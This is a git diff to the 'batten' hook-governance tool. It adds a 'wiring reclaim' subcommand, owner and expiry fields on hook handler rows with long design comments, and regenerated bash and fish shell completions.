diff --git a/.serena/memories/core.md b/.serena/memories/core.md index ffa7a119a..221c1fc57 100644 --- a/.serena/memories/core.md +++ b/.serena/memories/core.md @@ -957,6 +957,31 @@ repo config > default`, declared as data in `SETTINGS` (per-key env var/flag), nothing — read through `waiver::reaches`, never a second list here); the runtime one (a waiver matching nothing) is deliberately out of scope — it would put `rules::run_all`'s spawning path behind a `read` verb. +- `wiring.rs` — the one WRITE path over a host's hook registrations (CLOUD-893), + surfaced as `wiring reclaim`: `destructive`, `-y` required, subject is this + host's merged `$HOME` surfaces and never the committed file (the `same_file` + arm). It also owns the three wiring-file readers `doctor.rs` used to hold — + `committed_events`, `entries_under`, `same_file` — so the census and the repair + cannot disagree about what a registration IS, which is the defect + `merged_under`'s own comment warns about. **Records before it repairs**: a + harness reads its wiring once at session start, so a repair changes the disk and + not the running host, and a census taken after one reports `merged_siblings: 0` + over a runtime still dispatching what was deleted. The at-load record under + `$GIT_DIR/batten-wiring/` is what keeps those two states distinguishable; + `doctor hooks` reports its total as `at_load_siblings` (`None` = no repair + recorded, which is read-the-disk) and `hooks-wiring-check` turns a non-zero into + `wiring-repair-unloaded`, naming the restart. The record has exactly ONE writer + and ONE expiry — `reclaim` writes it if absent, `batten hook` on `SessionStart` + drops it — which is why the repair is not run from a session-start handler at + all: both acts inside one unordered batch would be a coin toss between the + honest red and the false green the record exists to refuse. `wiring apply` over + the committed surface is deliberately unbuilt, and the reason got STRONGER + rather than weaker: it was "the one committed violation left is + `session-start.sh`, whose remedy is a handler row rather than a deletion", and + that row landed — so there is now no committed violation at all for such a + writer to be right about. `hooks-wiring-check`'s `DECLARED` table is + correspondingly empty, and the two launcher rows it used to carry are what this + verb removes. - `worktree.rs` — at-risk work detection (CLOUD-51), surfaced as `worktree status`. Three categories as one read gate: **uncommitted** (the tree is not porcelain-clean), **unpushed** (commits with no patch-equivalent on the diff --git a/batten.toml b/batten.toml index 8c25b4a18..d28c49ccf 100644 --- a/batten.toml +++ b/batten.toml @@ -3704,6 +3704,28 @@ wiring = [".claude/settings.json"] # --------------------------------------------------------------------------- # What this repository attaches to hook events (house-style §9). # +# THE `exclusive` CAPABILITY LANDS HERE UNDECLARED, AND THAT IS THE DECISION +# (CLOUD-893). `[hook] exclusive = true` says the only hook batten may register +# natively into any harness is `batten hook`, with nothing beside it. The engine +# half is built: `HookConfig::exclusive` in `action.rs`, and `doctor.rs` reports a +# sibling COUNT unconditionally and refuses only under the flag — because whether +# a hook beside batten's is legitimate is a consumer's judgement and +# `crates/batten` may not hold one (non-negotiable rule 1). +# +# WHY CONSUMER #1 DOES NOT YET DECLARE IT. The flag is GLOBAL rather than +# per-event: `doctor.rs`'s committed-surface scan refuses any non-batten entry +# under ANY event key, in every harness file. So declaring it obliges every +# remaining shell registration to move behind the door in the same change — and a +# guard cannot go behind the door without changing how it denies, which +# `shell-retirement` refuses for a governed file that is edited rather than +# retired. Two of this repository's guards cannot be retired yet (`run-shape-guard` +# on CLOUD-856, `hooks-wiring-check` on the `$HOME` surface), so declaring the flag +# would force exactly the edits the ratchet exists to refuse. +# +# The capability is therefore shipped and unused, which is the honest state: a +# consumer with no unretired registrations can declare it today, and this one +# declares it when its last guard retires rather than by editing bash to qualify. +# # THE FIRST HANDLER, AND IT IS A WORKED EXAMPLE (CLOUD-898). `[[hook.action]]` # shipped with one because a plugin surface nobody uses is a surface nobody has # tested; the same standard applies here, and this row is that test on the real @@ -3725,11 +3747,22 @@ wiring = [".claude/settings.json"] # handlers nobody measured and this one IS measured: it reads MCP logs and # returns in tens of milliseconds. A bound two orders above the measurement is # generous without being meaningless. +# +# `owner` AND `expires` ARE WHAT MAKE THIS A DEBT RATHER THAN A DESTINATION +# (CLOUD-984). The door makes a dispatched program safe — a bound, central +# fail-open, one stated output shape — and none of that makes it POLICY. A +# predicate living behind a spawn is one a reader of the committed authority +# cannot discover, so a handler is always somebody's debt, and these two columns +# name the creditor and the date. `doctor` reports an unowned or overdue row; +# nothing switches the handler off, because a dispatched program that silently +# stopped running is the fail-open this surface exists to close. [[hook.handler]] id = "mcp-attach-check" on = "user-prompt-submit" -run = ["mise-tasks/mcp-attach-check"] +run = ["mise-tasks/mcp-attach-check.sh"] timeout_ms = 2000 +owner = "CLOUD-312" +expires = "2027-02-28" # CLOUD-312 row 5: `connector-allow-guard` retires THROUGH THE DOOR rather than # into a row, and the destination is a correction to CLOUD-312's own table. @@ -3783,12 +3816,37 @@ timeout_ms = 2000 # # Halved, and the half that goes is the spawn. `mcp__*` calls still pay it, which is # the point — they are the calls this decides. +# +# THIS ROW IS DECIDING NOTHING TODAY, AND THAT IS RECORDED HERE RATHER THAN FIXED +# (measured 2026-08-26, still true on `main`). The guard writes its verdict as a +# `hookSpecificOutput` document on stdout and exits 0. Behind the door +# `handler::impersonates_host` reads that shape BEFORE the exit code, returns +# `Outcome::Broke(ImpersonatedHost)`, and every `Broke` variant ALLOWS — so the +# verdict is reported as a pointer and dropped. Its own bats suite is green +# throughout, because a suite that never drives the real dispatch cannot see it. +# +# What made the loss invisible: every deny in the committed table is also covered +# by an unrelated engine row over the same tool, so a refusal still reached the +# host — from somewhere else. Only the ALLOW half, which nothing else provides, is +# actually gone, and with it the approval prompt CLOUD-191 exists to remove. +# +# WHY IT IS NOT REPAIRED HERE. The fix is one `case` in the guard's `decide()`, +# and that is an EDIT to a governed file, which `shell-retirement` refuses unless +# the file is retired instead. It cannot be retired: it reads +# `/tmp/mcp-config-cse_*.json` per call — off-tree, per-session, unstable — which a +# Rego module may not do (`Authority::Supplied` opens no file), and a Rust port +# would carry one consumer's file layout and vocabulary into `crates/batten` +# against non-negotiable rule 1. So the repair needs a decision this PR does not +# own, and `preapproves` is left undeclared because it cannot fire while the +# document is dropped — declaring it would assert a reach this row does not have. [[hook.handler]] id = "connector-allow-guard" on = "pre-tool" run = ["mise-tasks/connector-allow-guard.sh"] matcher = "^mcp__" timeout_ms = 2000 +owner = "CLOUD-312" +expires = "2027-02-28" # CLOUD-312 row 8: `mcp-allow-check --session` retires THROUGH THE DOOR, beside its # own sibling. `mcp-attach-check` above went first as the cheapest honest proof of @@ -3826,6 +3884,8 @@ id = "mcp-allow-check" on = "user-prompt-submit" run = ["mise-tasks/mcp-allow-check.sh", "--session"] timeout_ms = 2000 +owner = "CLOUD-312" +expires = "2027-02-28" # --------------------------------------------------------------------------- # THE REFUSAL VOCABULARY (CLOUD-1050). @@ -4827,3 +4887,86 @@ that cannot refuse is off rather than passing. id = "R-PLACE-AT-LEAST-ONE-ADAPTER" kind = "document" target = "policy/spawn-adapters.rego" + +# WHY `run-shape-guard` IS NOT A HANDLER ROW HERE, AND WHY THAT IS THE RATCHET +# WORKING (CLOUD-312 row 4, deferred). +# +# Going behind the door is not a config move: a dispatched handler's stdout is +# INTERPRETED, so `handler::impersonates_host` reads this guard's +# `hookSpecificOutput` deny document and drops it before the exit code is read. +# The guard would have to deny as exit 2 with the reason on stderr — an EDIT to a +# governed file, which `shell-retirement` refuses unless the file is retired +# instead. +# +# And it cannot be retired yet. Three of its four families now live in +# `policy/run-shape.rego`; the fourth reads `mise.toml`'s task bodies, which no +# `mediated_call` row may do — `call_document` projects `Fact::Document` as +# `None`, and `sources` on a mediated row is refused at load. CLOUD-856 owns that. +# +# So the guard stays natively registered in `.claude/settings.json`, byte-identical, +# and moves behind the door in the change that retires it. Editing it to qualify +# for the door would be exactly the shrink-instead-of-retire the ratchet exists to +# refuse. + +# THE LAST NATIVE REGISTRATION (CLOUD-312 row 10). Ten existed when this campaign +# started and the gate passed over all ten; this is the tenth, and the one that +# looked impossible for the longest — the program behind it is what INSTALLS the +# binary that would dispatch it, so retiring it read as a bootstrap paradox. +# +# WHAT BROKE THE PARADOX WAS A SECOND SOURCE, NOT A DECOMPOSITION. #711 hardened +# `install.sh` into a one-liner that takes the script from `main` and the binary +# from the latest release, so a container puts `batten` on PATH before any hook +# fires and this handler is dispatched by a binary that already exists. Nothing +# moved out of the program: `install:local` stays because on a dev clone the +# working tree's build must supersede the released binary, and it is the recovery +# path when the setup step never ran. An earlier plan proposed hoisting +# provisioning into the environment's setup script and was wrong — it would have +# cost both of those for nothing. +# +# FOUR FACTS MAKE THE MOVE BEHAVIOUR-PRESERVING, each read rather than assumed: +# +# 1. stdout carries 79 bytes on the all-clear path — `container-preflight` +# announces its own success there — which behind the door is an advisory +# delivered every session whose whole content is "nothing is wrong". Moving +# that line to stderr is an edit to a governed file, so it belongs to that +# file's retirement rather than to this move. Stated as a precondition of the +# move rather than as something already done: an earlier draft of this comment +# claimed the line "now goes to stderr", and it does not. +# 2. A failure is exit 1 with `::error::` lines on stderr, which `interpret` +# reads as `Outcome::Reported` — and that joins `Dispatched::advice()`, which +# `AdvisoryReach` delivers on `SessionStart` for this host. So the failure +# detail gains reach: today it lands in a hook log, behind the door it is +# context the agent reads. +# 3. The one other stdout writer is `reclaim-census report`, exit 0 with text → +# `Advise`, delivered on the same channel. Unchanged. +# 4. A timeout is `Outcome::Broke(TimedOut)`, which ALLOWS — the same fail-open +# a native SessionStart registration already has. +# +# THE BOUND IS MEASURED, and the margin is stop-guard's lesson two rows up rather +# than a preference. Warm, this container, three runs: 4 s, 4 s, 5 s. So +# `DEFAULT_TIMEOUT`'s 5 s would be a coin toss on the ordinary path — the exact +# shape that lost stop-guard all five of its rules. 180000 is 36x the measured +# warm maximum, and it is also well past Claude Code's own 60 s hook timeout, so +# the door is not tighter than the registration it replaces. A genuinely cold +# clone's release build can still exceed it; that fails open, as it does today, +# and #711's second source is why the cold case is no longer the bootstrap. +# +# TWO CONSTRAINTS FOR WHOEVER EDITS THE PROGRAM NEXT: +# +# * The session stamp must stay first. `claim-check`'s `refined-this-session` +# compares the tracker's `updatedAt` against that file's mtime, so a stamp +# written after the work dates the session to whenever the agent got round to +# claiming. It is already the first thing the script does, before `step` is +# even defined; the door changes nothing here, and this is why it must not be +# reordered. +# * NEVER add `batten wiring reclaim` to this handler. That verb writes the +# at-load record and `batten hook` expires it on this same event, so a reclaim +# dispatched from here would put the write and the clear inside one unordered +# batch — a coin toss between the honest red and the false green the record +# exists to refuse. `crates/batten/src/wiring.rs`'s header is the long form. +# DEFERRED WITH ITS SIBLING, and for one reason only: moving it obliges +# `[hook] exclusive`, which is global, which obliges `run-shape-guard` behind the +# door too — and that one cannot go. Everything above is the read that will make +# the move behaviour-preserving when its sibling is ready; nothing in it is +# invalidated by waiting. `.claude/hooks/session-start.sh` is not a governed path, +# so this row costs nothing to defer and nothing to restore. diff --git a/completions/batten.bash b/completions/batten.bash index a33e6a9e1..605581494 100644 --- a/completions/batten.bash +++ b/completions/batten.bash @@ -94,6 +94,9 @@ _batten() { batten,target) cmd="batten__subcmd__target" ;; + batten,wiring) + cmd="batten__subcmd__wiring" + ;; batten,worktree) cmd="batten__subcmd__worktree" ;; @@ -337,6 +340,9 @@ _batten() { batten__subcmd__help,target) cmd="batten__subcmd__help__subcmd__target" ;; + batten__subcmd__help,wiring) + cmd="batten__subcmd__help__subcmd__wiring" + ;; batten__subcmd__help,worktree) cmd="batten__subcmd__help__subcmd__worktree" ;; @@ -454,6 +460,9 @@ _batten() { batten__subcmd__help__subcmd__target,prune) cmd="batten__subcmd__help__subcmd__target__subcmd__prune" ;; + batten__subcmd__help__subcmd__wiring,reclaim) + cmd="batten__subcmd__help__subcmd__wiring__subcmd__reclaim" + ;; batten__subcmd__help__subcmd__worktree,status) cmd="batten__subcmd__help__subcmd__worktree__subcmd__status" ;; @@ -631,6 +640,18 @@ _batten() { batten__subcmd__target__subcmd__help,prune) cmd="batten__subcmd__target__subcmd__help__subcmd__prune" ;; + batten__subcmd__wiring,help) + cmd="batten__subcmd__wiring__subcmd__help" + ;; + batten__subcmd__wiring,reclaim) + cmd="batten__subcmd__wiring__subcmd__reclaim" + ;; + batten__subcmd__wiring__subcmd__help,help) + cmd="batten__subcmd__wiring__subcmd__help__subcmd__help" + ;; + batten__subcmd__wiring__subcmd__help,reclaim) + cmd="batten__subcmd__wiring__subcmd__help__subcmd__reclaim" + ;; batten__subcmd__worktree,help) cmd="batten__subcmd__worktree__subcmd__help" ;; @@ -650,7 +671,7 @@ _batten() { case "${cmd}" in batten) - opts="-q -v -y -h -V --strictness --fail-on-warning --config-from --silent --quiet --verbose --debug --trace --log-level --no-color --no-input --yes --help --version check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" + opts="-q -v -y -h -V --strictness --fail-on-warning --config-from --silent --quiet --verbose --debug --trace --log-level --no-color --no-input --yes --help --version check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" if [[ ${cur} == -* || ${COMP_CWORD} -eq 1 ]] ; then COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) return 0 @@ -2040,7 +2061,7 @@ _batten() { return 0 ;; batten__subcmd__help) - opts="check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" + opts="check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state wiring help" if [[ ${cur} == -* || ${COMP_CWORD} -eq 2 ]] ; then COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) return 0 @@ -2949,6 +2970,34 @@ _batten() { COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) return 0 ;; + batten__subcmd__help__subcmd__wiring) + opts="reclaim" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + batten__subcmd__help__subcmd__wiring__subcmd__reclaim) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; batten__subcmd__help__subcmd__worktree) opts="status" if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then @@ -4419,6 +4468,100 @@ _batten() { COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) return 0 ;; + batten__subcmd__wiring) + opts="-q -v -y -h --strictness --fail-on-warning --config-from --silent --quiet --verbose --debug --trace --log-level --no-color --no-input --yes --help reclaim help" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 2 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --strictness) + COMPREPLY=($(compgen -W "permissive standard strict" -- "${cur}")) + return 0 + ;; + --config-from) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --log-level) + COMPREPLY=($(compgen -W "silent quiet normal verbose debug trace" -- "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + batten__subcmd__wiring__subcmd__help) + opts="reclaim help" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + batten__subcmd__wiring__subcmd__help__subcmd__help) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + batten__subcmd__wiring__subcmd__help__subcmd__reclaim) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + batten__subcmd__wiring__subcmd__reclaim) + opts="-n -q -v -y -h --dry-run --strictness --fail-on-warning --config-from --silent --quiet --verbose --debug --trace --log-level --no-color --no-input --yes --help" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --strictness) + COMPREPLY=($(compgen -W "permissive standard strict" -- "${cur}")) + return 0 + ;; + --config-from) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --log-level) + COMPREPLY=($(compgen -W "silent quiet normal verbose debug trace" -- "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; batten__subcmd__worktree) opts="-q -v -y -h --strictness --fail-on-warning --config-from --silent --quiet --verbose --debug --trace --log-level --no-color --no-input --yes --help status help" if [[ ${cur} == -* || ${COMP_CWORD} -eq 2 ]] ; then diff --git a/completions/batten.fish b/completions/batten.fish index f727d8e3e..bf8c8b1ac 100644 --- a/completions/batten.fish +++ b/completions/batten.fish @@ -71,6 +71,7 @@ complete -c batten -n "__fish_batten_needs_command" -f -a "receipt" -d 'Verifica complete -c batten -n "__fish_batten_needs_command" -f -a "defects" -d 'The append-only defect ledger: the lessons this repository has already paid for' complete -c batten -n "__fish_batten_needs_command" -f -a "design" -d 'Design-evidence claims: the integrity of the record behind a decision' complete -c batten -n "__fish_batten_needs_command" -f -a "state" -d 'The out-of-tree findings store: which store belongs to this checkout' +complete -c batten -n "__fish_batten_needs_command" -f -a "wiring" -d 'Repair a host\'s hook registrations' complete -c batten -n "__fish_batten_needs_command" -f -a "help" -d 'Print this message or the help of the given subcommand(s)' complete -c batten -n "__fish_batten_using_subcommand check" -l rule -d 'Run only the declared rule with this id' -r complete -c batten -n "__fish_batten_using_subcommand check" -l strictness -d 'Raise how strictly gates apply (an override may only tighten policy)' -r -f -a "permissive\t'Advisory: findings are reported without failing the run' @@ -1607,33 +1608,79 @@ complete -c batten -n "__fish_batten_using_subcommand state; and __fish_seen_sub complete -c batten -n "__fish_batten_using_subcommand state; and __fish_seen_subcommand_from help" -f -a "migrate" -d 'Upgrade the findings store to this binary\'s record version' complete -c batten -n "__fish_batten_using_subcommand state; and __fish_seen_subcommand_from help" -f -a "list" -d 'List stored findings and the refs they were observed in' complete -c batten -n "__fish_batten_using_subcommand state; and __fish_seen_subcommand_from help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "check" -d 'Run the applicable read-only gates against the repository' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "enforce" -d 'Run every configured rule, including kinds that execute a configured command' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "exec" -d 'Run a command — or a `:::` bundle — and report a pointer to what it wrote' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "capture" -d 'Captured command output: navigate what `exec` already ran, without running it again' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "target" -d 'Inspect and reclaim this repository\'s build tree' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "config" -d 'Inspect configuration' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "lint" -d 'Lint an artifact against a declared schema' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "spec" -d 'Print the tool\'s own command spec' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "doctor" -d 'Diagnose whether Batten can run in this repository' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "init" -d 'Write a starter batten.toml, refusing to overwrite an existing one' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "baseline" -d 'Record the findings that already exist, so only new ones fail' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "generate" -d 'Emit artifacts derived from the command spec, on stdout' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "perf" -d 'Measure this repository\'s own invocation cost' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "policy" -d 'Inspect the thresholds and path sets this repository holds itself to' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "commit" -d 'The shape a commit must take here: what its subject may say' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "semver" -d 'Whether this branch\'s API delta is compatible with the bump it claims' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "attribution" -d 'What produced commits may carry about the tooling that made them' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "worktree" -d 'Worktrees and the work in them: what is at risk' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "override" -d 'Issued admissions: an override is a record, never a variable somebody knows' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "provision" -d 'Pinned tools this repository provisions, cached out of tree' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "hook" -d 'Adjudicate a mediated tool call read from stdin (a deny is exit 2, the one contract)' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "payload" -d 'Read a hook payload from stdin' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "receipt" -d 'Verification receipts: SHA-keyed claims a named check passed, invalidated by git facts' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "defects" -d 'The append-only defect ledger: the lessons this repository has already paid for' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "design" -d 'Design-evidence claims: the integrity of the record behind a decision' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "state" -d 'The out-of-tree findings store: which store belongs to this checkout' -complete -c batten -n "__fish_batten_using_subcommand help; and not __fish_seen_subcommand_from check enforce exec capture target config lint spec doctor init baseline generate perf policy commit semver attribution worktree override provision hook payload receipt defects design state help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)' +complete -c batten -n "__fish_batten_using_subcommand wiring; and not __fish_seen_subcommand_from reclaim help" -l strictness -d 'Raise how strictly gates apply (an override may only tighten policy)' -r -f -a "permissive\t'Advisory: findings are reported without failing the run' +standard\t'The default: a finding is a violation' +strict\t'Everything `Standard` fails on, plus anything advisory'" +complete -c batten -n "__fish_batten_using_subcommand wiring; and not __fish_seen_subcommand_from reclaim help" -l config-from -d 'Read the committed config from a git ref (e.g. origin/main) instead of the working tree' -r +complete -c batten -n "__fish_batten_using_subcommand wiring; and not __fish_seen_subcommand_from reclaim help" -l log-level -d 'Set the verbosity rung by name' -r -f -a "silent\t'Say nothing but a verdict or a usage error' +quiet\t'Suppress ordinary progress; keep warnings' +normal\t'The default' +verbose\t'Explain what is being checked' +debug\t'Add resolution detail' +trace\t'Add everything'" +complete -c batten -n "__fish_batten_using_subcommand wiring; and not __fish_seen_subcommand_from reclaim help" -l fail-on-warning -d 'Promote a warn-severity finding to a violation (an override may only turn this on)' +complete -c batten -n "__fish_batten_using_subcommand wiring; and not __fish_seen_subcommand_from reclaim help" -l silent -d 'Say nothing but a verdict or a usage error' +complete -c batten -n "__fish_batten_using_subcommand wiring; and not __fish_seen_subcommand_from reclaim help" -s q -l quiet -d 'Suppress ordinary progress (repeatable: -qq is silent)' +complete -c batten -n "__fish_batten_using_subcommand wiring; and not __fish_seen_subcommand_from reclaim help" -s v -l verbose -d 'Explain what is being checked (repeatable: -vv is debug)' +complete -c batten -n "__fish_batten_using_subcommand wiring; and not __fish_seen_subcommand_from reclaim help" -l debug -d 'Add resolution detail' +complete -c batten -n "__fish_batten_using_subcommand wiring; and not __fish_seen_subcommand_from reclaim help" -l trace -d 'Add everything' +complete -c batten -n "__fish_batten_using_subcommand wiring; and not __fish_seen_subcommand_from reclaim help" -l no-color -d 'Never colour stderr, whatever it is attached to' +complete -c batten -n "__fish_batten_using_subcommand wiring; and not __fish_seen_subcommand_from reclaim help" -l no-input -d 'Never prompt; treat the run as unattended' +complete -c batten -n "__fish_batten_using_subcommand wiring; and not __fish_seen_subcommand_from reclaim help" -s y -l yes -d 'Confirm a destructive operation that would otherwise refuse' +complete -c batten -n "__fish_batten_using_subcommand wiring; and not __fish_seen_subcommand_from reclaim help" -s h -l help -d 'Print help (see more with \'--help\')' +complete -c batten -n "__fish_batten_using_subcommand wiring; and not __fish_seen_subcommand_from reclaim help" -f -a "reclaim" -d 'Remove non-batten hook registrations from this host\'s merged surfaces' +complete -c batten -n "__fish_batten_using_subcommand wiring; and not __fish_seen_subcommand_from reclaim help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)' +complete -c batten -n "__fish_batten_using_subcommand wiring; and __fish_seen_subcommand_from reclaim" -l strictness -d 'Raise how strictly gates apply (an override may only tighten policy)' -r -f -a "permissive\t'Advisory: findings are reported without failing the run' +standard\t'The default: a finding is a violation' +strict\t'Everything `Standard` fails on, plus anything advisory'" +complete -c batten -n "__fish_batten_using_subcommand wiring; and __fish_seen_subcommand_from reclaim" -l config-from -d 'Read the committed config from a git ref (e.g. origin/main) instead of the working tree' -r +complete -c batten -n "__fish_batten_using_subcommand wiring; and __fish_seen_subcommand_from reclaim" -l log-level -d 'Set the verbosity rung by name' -r -f -a "silent\t'Say nothing but a verdict or a usage error' +quiet\t'Suppress ordinary progress; keep warnings' +normal\t'The default' +verbose\t'Explain what is being checked' +debug\t'Add resolution detail' +trace\t'Add everything'" +complete -c batten -n "__fish_batten_using_subcommand wiring; and __fish_seen_subcommand_from reclaim" -s n -l dry-run -d 'Preview what would be applied, writing nothing' +complete -c batten -n "__fish_batten_using_subcommand wiring; and __fish_seen_subcommand_from reclaim" -l fail-on-warning -d 'Promote a warn-severity finding to a violation (an override may only turn this on)' +complete -c batten -n "__fish_batten_using_subcommand wiring; and __fish_seen_subcommand_from reclaim" -l silent -d 'Say nothing but a verdict or a usage error' +complete -c batten -n "__fish_batten_using_subcommand wiring; and __fish_seen_subcommand_from reclaim" -s q -l quiet -d 'Suppress ordinary progress (repeatable: -qq is silent)' +complete -c batten -n "__fish_batten_using_subcommand wiring; and __fish_seen_subcommand_from reclaim" -s v -l verbose -d 'Explain what is being checked (repeatable: -vv is debug)' +complete -c batten -n "__fish_batten_using_subcommand wiring; and __fish_seen_subcommand_from reclaim" -l debug -d 'Add resolution detail' 